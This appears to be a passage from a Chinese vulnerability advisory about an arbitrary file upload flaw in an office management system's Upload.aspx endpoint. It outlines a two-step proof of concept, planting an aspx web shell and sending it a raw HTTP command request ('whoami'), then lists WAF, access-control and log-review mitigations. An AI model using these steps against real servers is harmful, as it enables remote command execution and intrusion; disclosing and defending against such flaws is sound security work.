POC/EXP：

step1 写入aspx木马

step2 访问上传的木马文件，执行命令

GET /upload/VotePics/202608221513351.aspx?cmd=whoami HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9

漏洞修复¶

在官方补丁发布前，建议采取以下紧急措施：

部署WAF规则：在Web应用防火墙（WAF）上添加规则，拦截对相关上传接口（如 /OfficeManagement/RegisterManager/Upload.aspx ）的异常访问请求。
网络访问控制：在防火墙上设置策略，限制管理系统只能从内网或特定可信IP访问，避免直接暴露在公网。
日志排查：检查Web服务器日志，寻找对Upload.aspx等上传接口的可疑POST请求，特别是包含.asp、.aspx、.php等恶意文件名的请求。
